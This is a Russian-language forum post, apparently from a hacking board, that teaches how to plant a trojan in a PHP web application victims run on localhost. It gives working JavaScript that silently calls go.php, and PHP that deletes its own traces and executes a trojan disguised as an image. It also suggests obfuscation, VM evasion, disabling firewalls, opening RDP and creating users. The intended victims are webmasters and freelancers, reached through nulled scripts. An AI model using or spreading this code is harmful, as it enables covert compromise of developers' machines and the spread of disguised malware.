Опубликовано 29 января, 20188 г. comment_17966 Для того, чтобы затроянить кого-то с помощью php, нам нужен скрипт-донор, троян и 2 файла. Наша жертва должна запустить скрипт на локалкхосте (Denwer, AMPPS, AppServ, EasyPHP, Nimp, Xampp и т.д.). Обязательно указывайте, что надо протестировать софт на локалке (особенно, если встраиваете в нулл), либо встраивайте троян в скрипты, которые предполагается запускать только на локалхосте. Нам нужно:1. script.js2. go.php3. evil.png (троян с измененным расширением)4. Веб-приложение донор.Инклюдим в донора файл script.js: // чтобы работал ajax function getXmlHttp(){ var xmlhttp; try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (E) { xmlhttp = false; } } if (!xmlhttp && typeof XMLHttpRequest!='undefined') { xmlhttp = new XMLHttpRequest(); } return xmlhttp; } // Запуск скрипта go.php. //###start456789 var x = getXmlHttp(); x.open('GET', '/go.php', true); x.onreadystatechange = function() { if (x.readyState == 4) {if(x.status == 200) {}}}; x.send(null); //###end456789 //Любой код далее Вы можете вставить приведенный выше кусок текста в любой js-скрипт, используемый приложением которое мы трояним. В этом коде посылается ajax-запрос на некий скрипт под названием go.php. Теперь посмотрим, что находится в скрипте go.php: <?php //удаляем этот скрипт unlink('go.php'); //Чистим следы в script.js $source = file_get_contents('script.js'); preg_replace ("//###start456789[\s|\S]*//###end456789","",$source); $fh = fopen('script.js','w'); fwrite($fh, $source); fclose($fh); //Работаем только на win $pos =strpos(php_uname(), "Win"); if($pos !== False){ exec('evil.png'); } //удаляем троян, если он сам не удалился или мы не на винде unlink('evil.png'); Концепция думаю понятна. Результат (вместо запуска трояна - exec('calc.exe')): Что можно еще сделать/добавить? Одепты уже догадались:Обфускация скриптовСборка трояна из нескольких файловЗапуск трояна из запароленного архиваПроверка доступа к интернетуПроверка на запуск в виртуальных машинахИспользуем командную строку на всю катушку (отключаем файрволл, открываем telnet, rdp, smb, создаем нового пользователя и т.д.)Если функция exec запрещена, пробуем использовать другие (system, passthru, proc_open, shell_exec, popen…)Добавить некие действия, если скрипт запускается под linux, macOS.Разумеется для большей беспалевности, можно менять названия файлов, прятать их во вложенные папки и т.д. При желании, можно впихнуть все в один файл (троян, js, php), можно обойтись без троянов – создать юзера, открыть доступ по RDP, отправить на гейт IP.Кто может стать целью?Вебмастера(легко встроить в дорген, спамилку, парсер, чекалку, нуленный скрипт, очередную кнопку “бабло”)Веб-студии, фрилансеры, быдлокодеры (под предлогом доработки “сайта”, скрипта)Школо-хеккеры (приватный менеджер шеллов, локальный генератор фейков, дамп форума и т.д.) Жалоба
Присоединяйтесь к обсуждению
Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.
Примечание: Ваш пост будет проверен модератором, прежде чем станет видимым.